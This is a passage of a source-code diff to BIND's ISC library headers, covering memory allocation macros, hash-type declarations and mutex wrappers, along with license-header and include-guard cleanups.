-isc_managers_destroy(isc_nm_t **netmgrp, isc_taskmgr_t **taskmgrp,
-		     isc_timermgr_t **timermgrp, isc_socketmgr_t **socketmgrp);
+isc_managers_destroy(isc_mem_t **mctx, isc_loopmgr_t **loopmgrp,
+		     isc_nm_t **netmgrp);
diff --git a/lib/isc/include/isc/md.h b/lib/isc/include/isc/md.h
index 163484fbae..2c7213db49 100644
--- a/lib/isc/include/isc/md.h
+++ b/lib/isc/include/isc/md.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -17,7 +19,6 @@
 #pragma once
 
 #include <isc/lang.h>
-#include <isc/platform.h>
 #include <isc/result.h>
 #include <isc/types.h>
 
@@ -36,25 +37,19 @@ typedef void isc_md_t;
  */
 typedef void isc_md_type_t;
 
-#define ISC_MD_MD5    isc__md_md5()
-#define ISC_MD_SHA1   isc__md_sha1()
-#define ISC_MD_SHA224 isc__md_sha224()
-#define ISC_MD_SHA256 isc__md_sha256()
-#define ISC_MD_SHA384 isc__md_sha384()
-#define ISC_MD_SHA512 isc__md_sha512()
+extern const isc_md_type_t *isc__md_md5;
+extern const isc_md_type_t *isc__md_sha1;
+extern const isc_md_type_t *isc__md_sha224;
+extern const isc_md_type_t *isc__md_sha256;
+extern const isc_md_type_t *isc__md_sha384;
+extern const isc_md_type_t *isc__md_sha512;
 
-const isc_md_type_t *
-isc__md_md5(void);
-const isc_md_type_t *
-isc__md_sha1(void);
-const isc_md_type_t *
-isc__md_sha224(void);
-const isc_md_type_t *
-isc__md_sha256(void);
-const isc_md_type_t *
-isc__md_sha384(void);
-const isc_md_type_t *
-isc__md_sha512(void);
+#define ISC_MD_MD5    isc__md_md5
+#define ISC_MD_SHA1   isc__md_sha1
+#define ISC_MD_SHA224 isc__md_sha224
+#define ISC_MD_SHA256 isc__md_sha256
+#define ISC_MD_SHA384 isc__md_sha384
+#define ISC_MD_SHA512 isc__md_sha512
 
 #define ISC_MD5_DIGESTLENGTH	isc_md_type_get_size(ISC_MD_MD5)
 #define ISC_MD5_BLOCK_LENGTH	isc_md_type_get_block_size(ISC_MD_MD5)
@@ -201,3 +196,13 @@ isc_md_type_get_size(const isc_md_type_t *md_type);
  */
 size_t
 isc_md_type_get_block_size(const isc_md_type_t *md_type);
+
+/**
+ * Private
+ */
+
+void
+isc__md_initialize(void);
+
+void
+isc__md_shutdown(void);
diff --git a/lib/isc/include/isc/mem.h b/lib/isc/include/isc/mem.h
index a8a5c5dcd3..560ad74d88 100644
--- a/lib/isc/include/isc/mem.h
+++ b/lib/isc/include/isc/mem.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_MEM_H
-#define ISC_MEM_H 1
+#pragma once
 
 /*! \file isc/mem.h */
 
@@ -20,7 +21,7 @@
 #include <isc/attributes.h>
 #include <isc/lang.h>
 #include <isc/mutex.h>
-#include <isc/platform.h>
+#include <isc/overflow.h>
 #include <isc/types.h>
 
 ISC_LANG_BEGINDECLS
@@ -37,15 +38,13 @@ typedef void (*isc_mem_water_t)(void *, int);
 #define ISC_MEM_TRACKLINES 0
 #endif /* ifndef ISC_MEM_TRACKLINES */
 
-LIBISC_EXTERNAL_DATA extern unsigned int isc_mem_debugging;
-LIBISC_EXTERNAL_DATA extern unsigned int isc_mem_defaultflags;
+extern unsigned int isc_mem_debugging;
+extern unsigned int isc_mem_defaultflags;
 
 /*@{*/
 #define ISC_MEM_DEBUGTRACE  0x00000001U
 #define ISC_MEM_DEBUGRECORD 0x00000002U
 #define ISC_MEM_DEBUGUSAGE  0x00000004U
-#define ISC_MEM_DEBUGSIZE   0x00000008U
-#define ISC_MEM_DEBUGCTX    0x00000010U
 #define ISC_MEM_DEBUGALL    0x0000001FU
 /*!<
  * The variable isc_mem_debugging holds a set of flags for
@@ -64,14 +63,6 @@ LIBISC_EXTERNAL_DATA extern unsigned int isc_mem_defaultflags;
  * \li #ISC_MEM_DEBUGUSAGE
  *	If a hi_water mark is set, print the maximum inuse memory
  *	every time it is raised once it exceeds the hi_water mark.
- *
- * \li #ISC_MEM_DEBUGSIZE
- *	Check the size argument being passed to isc_mem_put() matches
- *	that passed to isc_mem_get().
- *
- * \li #ISC_MEM_DEBUGCTX
- *	Check the mctx argument being passed to isc_mem_put() matches
- *	that passed to isc_mem_get().
  */
 /*@}*/
 
@@ -135,49 +126,69 @@ LIBISC_EXTERNAL_DATA extern unsigned int isc_mem_defaultflags;
  * (two underscores). The single-underscore macros are used to pass
  * __FILE__ and __LINE__, and in the case of the put functions, to
  * set the pointer being freed to NULL in the calling function.
- *
- * Many of these functions have a further isc___mem_<function>
- * (three underscores) implementation, which is called indirectly
- * via the isc_memmethods structure in the mctx so that dynamically
- * loaded modules can use them even if named is statically linked.
  */
 
-#define ISCMEMFUNC(sfx)	    isc__mem_##sfx
-#define ISCMEMPOOLFUNC(sfx) isc__mempool_##sfx
-
-#define isc_mem_get(c, s)      ISCMEMFUNC(get)((c), (s)_ISC_MEM_FILELINE)
-#define isc_mem_allocate(c, s) ISCMEMFUNC(allocate)((c), (s)_ISC_MEM_FILELINE)
+/*%
+ * The definitions of the macros have been pulled directly from jemalloc.h
+ * and checked for consistency in mem.c.
+ *
+ *\li	ISC__MEM_ZERO - fill the memory with zeroes before returning
+ */
+
+#define ISC__MEM_ZERO ((int)0x40)
+
+#define isc_mem_get(c, s) isc__mem_get((c), (s), 0 _ISC_MEM_FILELINE)
+#define isc_mem_cget(c, n, s)                        \
+	isc__mem_get((c), ISC_CHECKED_MUL((n), (s)), \
+		     ISC__MEM_ZERO _ISC_MEM_FILELINE)
+#define isc_mem_reget(c, p, o, n) \
+	isc__mem_reget((c), (p), (o), (n), 0 _ISC_MEM_FILELINE)
+#define isc_mem_creget(c, p, o, n, s)                       \
+	isc__mem_reget((c), (p), ISC_CHECKED_MUL((o), (s)), \
+		       ISC_CHECKED_MUL((n), (s)),           \
+		       ISC__MEM_ZERO _ISC_MEM_FILELINE)
+#define isc_mem_allocate(c, s) isc__mem_allocate((c), (s), 0 _ISC_MEM_FILELINE)
+#define isc_mem_callocate(c, n, s)                        \
+	isc__mem_allocate((c), ISC_CHECKED_MUL((n), (s)), \
+			  ISC__MEM_ZERO _ISC_MEM_FILELINE)
 #define isc_mem_reallocate(c, p, s) \
-	ISCMEMFUNC(reallocate)((c), (p), (s)_ISC_MEM_FILELINE)
-#define isc_mem_strdup(c, p) ISCMEMFUNC(strdup)((c), (p)_ISC_MEM_FILELINE)
+	isc__mem_reallocate((c), (p), (s), 0 _ISC_MEM_FILELINE)
+#define isc_mem_strdup(c, p) isc__mem_strdup((c), (p)_ISC_MEM_FILELINE)
 #define isc_mem_strndup(c, p, l) \
-	ISCMEMFUNC(strndup)((c), (p), (l)_ISC_MEM_FILELINE)
-#define isc_mempool_get(c) ISCMEMPOOLFUNC(get)((c)_ISC_MEM_FILELINE)
+	isc__mem_strndup((c), (p), (l)_ISC_MEM_FILELINE)
+#define isc_mempool_get(c) isc__mempool_get((c)_ISC_MEM_FILELINE)
 
-#define isc_mem_put(c, p, s)                                     \
-	do {                                                     \
-		ISCMEMFUNC(put)((c), (p), (s)_ISC_MEM_FILELINE); \
-		(p) = NULL;                                      \
+#define isc_mem_put(c, p, s)                                      \
+	do {                                                      \
+		isc__mem_put((c), (p), (s), 0 _ISC_MEM_FILELINE); \
+		(p) = NULL;                                       \
+	} while (0)
+#define isc_mem_cput(c, p, n, s)                                  \
+	do {                                                      \
+		isc__mem_put((c), (p), ISC_CHECKED_MUL((n), (s)), \
+			     ISC__MEM_ZERO _ISC_MEM_FILELINE);    \
+		(p) = NULL;                                       \
+	} while (0)
+#define isc_mem_putanddetach(c, p, s)                                      \
+	do {                                                               \
+		isc__mem_putanddetach((c), (p), (s), 0 _ISC_MEM_FILELINE); \
+		(p) = NULL;                                                \
 	} while (0)
-#define isc_mem_putanddetach(c, p, s)                                     \
-	do {                                                              \
-		ISCMEMFUNC(putanddetach)((c), (p), (s)_ISC_MEM_FILELINE); \
-		(p) = NULL;                                               \
+#define isc_mem_free(c, p)                                    \
+	do {                                                  \
+		isc__mem_free((c), (p), 0 _ISC_MEM_FILELINE); \
+		(p) = NULL;                                   \
 	} while (0)
-#define isc_mem_free(c, p)                                   \
+#define isc_mempool_put(c, p)                                \
 	do {                                                 \
-		ISCMEMFUNC(free)((c), (p)_ISC_MEM_FILELINE); \
+		isc__mempool_put((c), (p)_ISC_MEM_FILELINE); \
 		(p) = NULL;                                  \
 	} while (0)
-#define isc_mempool_put(c, p)                                   \
-	do {                                                    \
-		ISCMEMPOOLFUNC(put)((c), (p)_ISC_MEM_FILELINE); \
-		(p) = NULL;                                     \
-	} while (0)
 
 /*@{*/
+#define isc_mem_create(cp) isc__mem_create((cp)_ISC_MEM_FILELINE)
 void
-isc_mem_create(isc_mem_t **mctxp);
+isc__mem_create(isc_mem_t **_ISC_MEM_FLARG);
 
 /*!<
  * \brief Create a memory context.
@@ -186,11 +197,48 @@ isc_mem_create(isc_mem_t **mctxp);
  * mctxp != NULL && *mctxp == NULL */
 /*@}*/
 
+#define isc_mem_create_arena(cp) isc__mem_create_arena((cp)_ISC_MEM_FILELINE)
+void
+isc__mem_create_arena(isc_mem_t **_ISC_MEM_FLARG);
+/*!<
+ * \brief Create a memory context that routs all its operations to a
+ * dedicated jemalloc arena (when available). When jemalloc is not
+ * available, the function is, effectively, an alias to
+ * isc_mem_create().
+ *
+ * Requires:
+ * mctxp != NULL && *mctxp == NULL */
+/*@}*/
+
+isc_result_t
+isc_mem_arena_set_muzzy_decay_ms(isc_mem_t *mctx, const ssize_t decay_ms);
+
+isc_result_t
+isc_mem_arena_set_dirty_decay_ms(isc_mem_t *mctx, const ssize_t decay_ms);
+/*!<
+ * \brief These two functions set the given parameters on the
+ * jemalloc arena associated with the memory context (if there is
+ * one). When jemalloc is not available, these are no-op.
+ *
+ * NOTE: The "muzzy_decay_ms" and "dirty_decay_ms" are the most common
+ * parameters to adjust when the defaults do not work well (per the
+ * official jemalloc tuning guide:
+ * https://github.com/jemalloc/jemalloc/blob/dev/TUNING.md).
+ *
+ * Requires:
+ * mctx - a valid memory context.
+ */
+/*@}*/
+
+void
+isc_mem_attach(isc_mem_t *, isc_mem_t **);
+
 /*@{*/
 void
 isc_mem_attach(isc_mem_t *, isc_mem_t **);
+#define isc_mem_detach(cp) isc__mem_detach((cp)_ISC_MEM_FILELINE)
 void
-isc_mem_detach(isc_mem_t **);
+isc__mem_detach(isc_mem_t **_ISC_MEM_FLARG);
 /*!<
  * \brief Attach to / detach from a memory context.
  *
@@ -205,8 +253,9 @@ isc_mem_detach(isc_mem_t **);
  */
 /*@}*/
 
+#define isc_mem_destroy(cp) isc__mem_destroy((cp)_ISC_MEM_FILELINE)
 void
-isc_mem_destroy(isc_mem_t **);
+isc__mem_destroy(isc_mem_t **_ISC_MEM_FLARG);
 /*%<
  * Destroy a memory context.
  */
@@ -232,33 +281,6 @@ isc_mem_inuse(isc_mem_t *mctx);
  * allocated from the system but not yet used.
  */
 
-size_t
-isc_mem_maxinuse(isc_mem_t *mctx);
-/*%<
- * Get an estimate of the largest amount of memory that has been in
- * use in 'mctx' at any time.
- */
-
-size_t
-isc_mem_total(isc_mem_t *mctx);
-/*%<
- * Get the total amount of memory in 'mctx', in bytes, including memory
- * not yet used.
- */
-
-size_t
-isc_mem_malloced(isc_mem_t *ctx);
-/*%<
- * Get an estimate of the amount of memory allocated in 'mctx', in bytes.
- */
-
-size_t
-isc_mem_maxmalloced(isc_mem_t *ctx);
-/*%<
- * Get an estimate of the largest amount of memory that has been
- * allocated in 'mctx' at any time.
- */
-
 bool
 isc_mem_isovermem(isc_mem_t *mctx);
 /*%<
@@ -267,6 +289,8 @@ isc_mem_isovermem(isc_mem_t *mctx);
  * the mark.
  */
 
+void
+isc_mem_clearwater(isc_mem_t *mctx);
 void
 isc_mem_setwater(isc_mem_t *mctx, isc_mem_water_t water, void *water_arg,
 		 size_t hiwater, size_t lowater);
@@ -275,12 +299,12 @@ isc_mem_setwater(isc_mem_t *mctx, isc_mem_water_t water, void *water_arg,
  *
  * When the memory usage of 'mctx' exceeds 'hiwater',
  * '(water)(water_arg, #ISC_MEM_HIWATER)' will be called.  'water' needs
- *to call isc_mem_waterack() with #ISC_MEM_HIWATER to acknowledge the
- *state change.  'water' may be called multiple times.
+ * to call isc_mem_waterack() with #ISC_MEM_HIWATER to acknowledge the
+ * state change.  'water' may be called multiple times.
  *
  * When the usage drops below 'lowater', 'water' will again be called,
- *this time with #ISC_MEM_LOWATER.  'water' need to calls
- *isc_mem_waterack() with #ISC_MEM_LOWATER to acknowledge the change.
+ * this time with #ISC_MEM_LOWATER.  'water' need to calls
+ * isc_mem_waterack() with #ISC_MEM_LOWATER to acknowledge the change.
  *
  *	static void
  *	water(void *arg, int mark) {
@@ -288,20 +312,23 @@ isc_mem_setwater(isc_mem_t *mctx, isc_mem_water_t water, void *water_arg,
  *
  *		LOCK(&foo->marklock);
  *		if (foo->mark != mark) {
- * 			foo->mark = mark;
+ *			foo->mark = mark;
  *			....
  *			isc_mem_waterack(foo->mctx, mark);
  *		}
  *		UNLOCK(&foo->marklock);
  *	}
  *
- * If 'water' is NULL then 'water_arg', 'hi_water' and 'lo_water' are
- * ignored and the state is reset.
+ * if 'water' is set to NULL, the 'hiwater' and 'lowater' must set to 0, and
+ * high- and low-water processing are disabled for this memory context.  There's
+ * a convenient function isc_mem_clearwater().
  *
  * Requires:
  *
- *	'water' is not NULL.
- *	hi_water >= lo_water
+ *\li   If 'water' is NULL, 'hiwater' and 'lowater' must be set to 0.
+ *\li	If 'water' and 'water_arg' have previously been set, they are
+	unchanged.
+ *\li	'hiwater' >= 'lowater'
  */
 
 void
@@ -372,8 +399,11 @@ isc_mem_renderjson(void *memobj0);
  * Memory pools
  */
 
+#define isc_mempool_create(c, s, mp) \
+	isc__mempool_create((c), (s), (mp)_ISC_MEM_FILELINE)
 void
-isc_mempool_create(isc_mem_t *mctx, size_t size, isc_mempool_t **mpctxp);
+isc__mempool_create(isc_mem_t *restrict mctx, const size_t element_size,
+		    isc_mempool_t **mpctxp _ISC_MEM_FLARG);
 /*%<
  * Create a memory pool.
  *
@@ -383,7 +413,6 @@ isc_mempool_create(isc_mem_t *mctx, size_t size, isc_mempool_t **mpctxp);
  *\li	mpctxp != NULL and *mpctxp == NULL
  *
  * Defaults:
- *\li	maxalloc = UINT_MAX
  *\li	freemax = 1
  *\li	fillcount = 1
  *
@@ -392,8 +421,9 @@ isc_mempool_create(isc_mem_t *mctx, size_t size, isc_mempool_t **mpctxp);
  *\li	#ISC_R_SUCCESS		-- all is well.
  */
 
+#define isc_mempool_destroy(mp) isc__mempool_destroy((mp)_ISC_MEM_FILELINE)
 void
-isc_mempool_destroy(isc_mempool_t **mpctxp);
+isc__mempool_destroy(isc_mempool_t **restrict mpctxp _ISC_MEM_FLARG);
 /*%<
  * Destroy a memory pool.
  *
@@ -403,7 +433,7 @@ isc_mempool_destroy(isc_mempool_t **mpctxp);
  */
 
 void
-isc_mempool_setname(isc_mempool_t *mpctx, const char *name);
+isc_mempool_setname(isc_mempool_t *restrict mpctx, const char *name);
 /*%<
  * Associate a name with a memory pool.  At most 15 characters may be
  *used.
@@ -413,95 +443,52 @@ isc_mempool_setname(isc_mempool_t *mpctx, const char *name);
  *\li	name != NULL;
  */
 
-void
-isc_mempool_associatelock(isc_mempool_t *mpctx, isc_mutex_t *lock);
-/*%<
- * Associate a lock with this memory pool.
- *
- * This lock is used when getting or putting items using this memory
- *pool, and it is also used to set or get internal state via the
- *isc_mempool_get*() and isc_mempool_set*() set of functions.
- *
- * Multiple pools can each share a single lock.  For instance, if
- *"manager" type object contained pools for various sizes of events, and
- *each of these pools used a common lock.  Note that this lock must
- *NEVER be used by other than mempool routines once it is given to a
- *pool, since that can easily cause double locking.
- *
- * Requires:
- *
- *\li	mpctpx is a valid pool.
- *
- *\li	lock != NULL.
- *
- *\li	No previous lock is assigned to this pool.
- *
- *\li	The lock is initialized before calling this function via the
- *normal means of doing that.
- */
-
 /*
  * The following functions get/set various parameters.  Note that due to
  * the unlocked nature of pools these are potentially random values
  *unless the imposed externally provided locking protocols are followed.
  *
  * Also note that the quota limits will not always take immediate
- *effect. For instance, setting "maxalloc" to a number smaller than the
- *currently allocated count is permitted.  New allocations will be
- *refused until the count drops below this threshold.
+ * effect.
  *
  * All functions require (in addition to other requirements):
  *	mpctx is a valid memory pool
  */
 
 unsigned int
-isc_mempool_getfreemax(isc_mempool_t *mpctx);
+isc_mempool_getfreemax(isc_mempool_t *restrict mpctx);
 /*%<
  * Returns the maximum allowed size of the free list.
  */
 
 void
-isc_mempool_setfreemax(isc_mempool_t *mpctx, unsigned int limit);
+isc_mempool_setfreemax(isc_mempool_t *restrict mpctx, const unsigned int limit);
 /*%<
  * Sets the maximum allowed size of the free list.
  */
 
 unsigned int
-isc_mempool_getfreecount(isc_mempool_t *mpctx);
+isc_mempool_getfreecount(isc_mempool_t *restrict mpctx);
 /*%<
  * Returns current size of the free list.
  */
 
 unsigned int
-isc_mempool_getmaxalloc(isc_mempool_t *mpctx);
-/*!<
- * Returns the maximum allowed number of allocations.
- */
-
-void
-isc_mempool_setmaxalloc(isc_mempool_t *mpctx, unsigned int limit);
-/*%<
- * Sets the maximum allowed number of allocations.
- *
- * Additional requirements:
- *\li	limit > 0
- */
-
-unsigned int
-isc_mempool_getallocated(isc_mempool_t *mpctx);
+isc_mempool_getallocated(isc_mempool_t *restrict mpctx);
 /*%<
  * Returns the number of items allocated from this pool.
  */
 
 unsigned int
-isc_mempool_getfillcount(isc_mempool_t *mpctx);
+isc_mempool_getfillcount(isc_mempool_t *restrict mpctx);
 /*%<
  * Returns the number of items allocated as a block from the parent
  * memory context when the free list is empty.
  */
 
 void
-isc_mempool_setfillcount(isc_mempool_t *mpctx, unsigned int limit);
+isc_mempool_setfillcount(isc_mempool_t *restrict mpctx,
+			 const unsigned int limit);
 /*%<
  * Sets the fillcount.
  *
@@ -522,34 +509,45 @@ isc_mempool_setfillcount(isc_mempool_t *mpctx, unsigned int limit);
 /*
  * Pseudo-private functions for use via macros.  Do not call directly.
  */
-void ISCMEMFUNC(putanddetach)(isc_mem_t **, void *, size_t _ISC_MEM_FLARG);
-void ISCMEMFUNC(put)(isc_mem_t *, void *, size_t _ISC_MEM_FLARG);
-void ISCMEMFUNC(free)(isc_mem_t *, void *_ISC_MEM_FLARG);
+void
+isc__mem_putanddetach(isc_mem_t **, void *, size_t, int _ISC_MEM_FLARG);
+void
+isc__mem_put(isc_mem_t *, void *, size_t, int _ISC_MEM_FLARG);
+void
+isc__mem_free(isc_mem_t *, void *, int _ISC_MEM_FLARG);
 
-ISC_ATTR_RETURNS_NONNULL
-ISC_ATTR_MALLOC_DEALLOCATOR_IDX(ISCMEMFUNC(put), 2)
-void *ISCMEMFUNC(get)(isc_mem_t *, size_t _ISC_MEM_FLARG);
+ISC_ATTR_MALLOC_DEALLOCATOR_IDX(isc__mem_put, 2)
+void *
+isc__mem_get(isc_mem_t *, size_t, int _ISC_MEM_FLARG);
 
-ISC_ATTR_RETURNS_NONNULL
-ISC_ATTR_MALLOC_DEALLOCATOR_IDX(ISCMEMFUNC(free), 2)
-void *ISCMEMFUNC(allocate)(isc_mem_t *, size_t _ISC_MEM_FLARG);
+ISC_ATTR_DEALLOCATOR_IDX(isc__mem_put, 2)
+void *
+isc__mem_reget(isc_mem_t *, void *, size_t, size_t, int _ISC_MEM_FLARG);
 
-ISC_ATTR_RETURNS_NONNULL
-ISC_ATTR_DEALLOCATOR_IDX(ISCMEMFUNC(free), 2)
-void *ISCMEMFUNC(reallocate)(isc_mem_t *, void *, size_t _ISC_MEM_FLARG);
+ISC_ATTR_MALLOC_DEALLOCATOR_IDX(isc__mem_free, 2)
+void *
+isc__mem_allocate(isc_mem_t *, size_t, int _ISC_MEM_FLARG);
+
+ISC_ATTR_DEALLOCATOR_IDX(isc__mem_free, 2)
+void *
+isc__mem_reallocate(isc_mem_t *, void *, size_t, int _ISC_MEM_FLARG);
 
 ISC_ATTR_RETURNS_NONNULL
-ISC_ATTR_MALLOC_DEALLOCATOR_IDX(ISCMEMFUNC(free), 2)
-char *ISCMEMFUNC(strdup)(isc_mem_t *, const char *_ISC_MEM_FLARG);
+ISC_ATTR_MALLOC_DEALLOCATOR_IDX(isc__mem_free, 2)
+char *
+isc__mem_strdup(isc_mem_t *, const char *_ISC_MEM_FLARG);
 
 ISC_ATTR_RETURNS_NONNULL
-ISC_ATTR_MALLOC_DEALLOCATOR_IDX(ISCMEMFUNC(free), 2)
-char *ISCMEMFUNC(strndup)(isc_mem_t *, const char *, size_t _ISC_MEM_FLARG);
+ISC_ATTR_MALLOC_DEALLOCATOR_IDX(isc__mem_free, 2)
+char *
+isc__mem_strndup(isc_mem_t *, const char *, size_t _ISC_MEM_FLARG);
 
-ISC_ATTR_MALLOC_DEALLOCATOR_IDX(ISCMEMPOOLFUNC(put), 2)
-void *ISCMEMPOOLFUNC(get)(isc_mempool_t *_ISC_MEM_FLARG);
+ISC_ATTR_MALLOC_DEALLOCATOR_IDX(isc__mempool_put, 2)
+void *
+isc__mempool_get(isc_mempool_t *_ISC_MEM_FLARG);
 
-void ISCMEMPOOLFUNC(put)(isc_mempool_t *, void *_ISC_MEM_FLARG);
+void
+isc__mempool_put(isc_mempool_t *, void *_ISC_MEM_FLARG);
 
 #ifdef POP_MALLOC_MACRO
 /*
@@ -559,5 +557,3 @@ void ISCMEMPOOLFUNC(put)(isc_mempool_t *, void *_ISC_MEM_FLARG);
 #endif
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_MEM_H */
diff --git a/lib/isc/include/isc/meminfo.h b/lib/isc/include/isc/meminfo.h
index a241b1d067..fc39e26843 100644
--- a/lib/isc/include/isc/meminfo.h
+++ b/lib/isc/include/isc/meminfo.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_MEMINFO_H
-#define ISC_MEMINFO_H 1
+#pragma once
 
 #include <inttypes.h>
 
@@ -27,5 +28,3 @@ isc_meminfo_totalphys(void);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_MEMINFO_H */
diff --git a/lib/isc/include/isc/mutex.h b/lib/isc/include/isc/mutex.h
index 7192d343d8..45256a6fac 100644
--- a/lib/isc/include/isc/mutex.h
+++ b/lib/isc/include/isc/mutex.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,119 +11,85 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_MUTEX_H
-#define ISC_MUTEX_H 1
+#pragma once
 
 /*! \file */
 
 #include <pthread.h>
 #include <stdio.h>
+#include <stdlib.h>
 
 #include <isc/lang.h>
 #include <isc/result.h> /* for ISC_R_ codes */
+#include <isc/util.h>
+
+#define ISC_MUTEX_INITIALIZER PTHREAD_MUTEX_INITIALIZER
 
 ISC_LANG_BEGINDECLS
 
-/*!
- * Supply mutex attributes that enable deadlock detection
- * (helpful when debugging).  This is system dependent and
- * currently only supported on NetBSD.
- */
-#if ISC_MUTEX_DEBUG && defined(__NetBSD__) && defined(PTHREAD_MUTEX_ERRORCHECK)
-extern pthread_mutexattr_t isc__mutex_attrs;
-#define ISC__MUTEX_ATTRS &isc__mutex_attrs
-#else /* if ISC_MUTEX_DEBUG && defined(__NetBSD__) && \
-       * defined(PTHREAD_MUTEX_ERRORCHECK) */
-#define ISC__MUTEX_ATTRS NULL
-#endif /* if ISC_MUTEX_DEBUG && defined(__NetBSD__) && \
-	* defined(PTHREAD_MUTEX_ERRORCHECK) */
-
-/* XXX We could do fancier error handling... */
-
-/*!
- * Define ISC_MUTEX_PROFILE to turn on profiling of mutexes by line.  When
- * enabled, isc_mutex_stats() can be used to print a table showing the
- * number of times each type of mutex was locked and the amount of time
- * waiting to obtain the lock.
+/*
+ * We use macros instead of static inline functions so that the exact code
+ * location can be reported when PTHREADS_RUNTIME_CHECK() fails or when mutrace
+ * reports lock contention.
  */
-#ifndef ISC_MUTEX_PROFILE
-#define ISC_MUTEX_PROFILE 0
-#endif /* ifndef ISC_MUTEX_PROFILE */
-
-#if ISC_MUTEX_PROFILE
-typedef struct isc_mutexstats isc_mutexstats_t;
-
-typedef struct {
-	pthread_mutex_t	  mutex; /*%< The actual mutex. */
-	isc_mutexstats_t *stats; /*%< Mutex statistics. */
-} isc_mutex_t;
-#else  /* if ISC_MUTEX_PROFILE */
+
+#ifdef ISC_TRACK_PTHREADS_OBJECTS
+
+typedef pthread_mutex_t *isc_mutex_t;
+
+#define isc_mutex_init(mp)                  \
+	{                                   \
+		*mp = malloc(sizeof(**mp)); \
+		isc__mutex_init(*mp);       \
+	}
+#define isc_mutex_lock(mp)    isc__mutex_lock(*mp)
+#define isc_mutex_unlock(mp)  isc__mutex_unlock(*mp)
+#define isc_mutex_trylock(mp) isc__mutex_trylock(*mp)
+#define isc_mutex_destroy(mp)            \
+	{                                \
+		isc__mutex_destroy(*mp); \
+		free(*mp);               \
+	}
+
+#else /* ISC_TRACK_PTHREADS_OBJECTS */
+
 typedef pthread_mutex_t isc_mutex_t;
-#endif /* if ISC_MUTEX_PROFILE */
-
-#if ISC_MUTEX_PROFILE
-#define isc_mutex_init(mp) isc_mutex_init_profile((mp), __FILE__, __LINE__)
-#else /* if ISC_MUTEX_PROFILE */
-#if ISC_MUTEX_DEBUG && defined(PTHREAD_MUTEX_ERRORCHECK)
-#define isc_mutex_init(mp) isc_mutex_init_errcheck((mp))
-#else /* if ISC_MUTEX_DEBUG && defined(PTHREAD_MUTEX_ERRORCHECK) */
-#define isc_mutex_init(mp) isc__mutex_init((mp), __FILE__, __LINE__)
-void
-isc__mutex_init(isc_mutex_t *mp, const char *file, unsigned int line);
-#endif /* if ISC_MUTEX_DEBUG && defined(PTHREAD_MUTEX_ERRORCHECK) */
-#endif /* if ISC_MUTEX_PROFILE */
-
-#if ISC_MUTEX_PROFILE
-#define isc_mutex_lock(mp) isc_mutex_lock_profile((mp), __FILE__, __LINE__)
-#else /* if ISC_MUTEX_PROFILE */
-#define isc_mutex_lock(mp) \
-	((pthread_mutex_lock((mp)) == 0) ? ISC_R_SUCCESS : ISC_R_UNEXPECTED)
-#endif /* if ISC_MUTEX_PROFILE */
-
-#if ISC_MUTEX_PROFILE
-#define isc_mutex_unlock(mp) isc_mutex_unlock_profile((mp), __FILE__, __LINE__)
-#else /* if ISC_MUTEX_PROFILE */
-#define isc_mutex_unlock(mp) \
-	((pthread_mutex_unlock((mp)) == 0) ? ISC_R_SUCCESS : ISC_R_UNEXPECTED)
-#endif /* if ISC_MUTEX_PROFILE */
-
-#if ISC_MUTEX_PROFILE
-#define isc_mutex_trylock(mp)                                         \
-	((pthread_mutex_trylock((&(mp)->mutex)) == 0) ? ISC_R_SUCCESS \
-						      : ISC_R_LOCKBUSY)
-#else /* if ISC_MUTEX_PROFILE */
-#define isc_mutex_trylock(mp) \
-	((pthread_mutex_trylock((mp)) == 0) ? ISC_R_SUCCESS : ISC_R_LOCKBUSY)
-#endif /* if ISC_MUTEX_PROFILE */
-
-#if ISC_MUTEX_PROFILE
-#define isc_mutex_destroy(mp) \
-	RUNTIME_CHECK(pthread_mutex_destroy((&(mp)->mutex)) == 0)
-#else /* if ISC_MUTEX_PROFILE */
-#define isc_mutex_destroy(mp) RUNTIME_CHECK(pthread_mutex_destroy((mp)) == 0)
-#endif /* if ISC_MUTEX_PROFILE */
-
-#if ISC_MUTEX_PROFILE
-#define isc_mutex_stats(fp) isc_mutex_statsprofile(fp);
-#else /* if ISC_MUTEX_PROFILE */
-#define isc_mutex_stats(fp)
-#endif /* if ISC_MUTEX_PROFILE */
-
-#if ISC_MUTEX_PROFILE
-
-void
-isc_mutex_init_profile(isc_mutex_t *mp, const char *_file, int _line);
-isc_result_t
-isc_mutex_lock_profile(isc_mutex_t *mp, const char *_file, int _line);
-isc_result_t
-isc_mutex_unlock_profile(isc_mutex_t *mp, const char *_file, int _line);
-
-void
-isc_mutex_statsprofile(FILE *fp);
-#endif /* ISC_MUTEX_PROFILE */
-
-void
-isc_mutex_init_errcheck(isc_mutex_t *mp);
+
+#define isc_mutex_init(mp)    isc__mutex_init(mp)
+#define isc_mutex_lock(mp)    isc__mutex_lock(mp)
+#define isc_mutex_unlock(mp)  isc__mutex_unlock(mp)
+#define isc_mutex_trylock(mp) isc__mutex_trylock(mp)
+#define isc_mutex_destroy(mp) isc__mutex_destroy(mp)
+
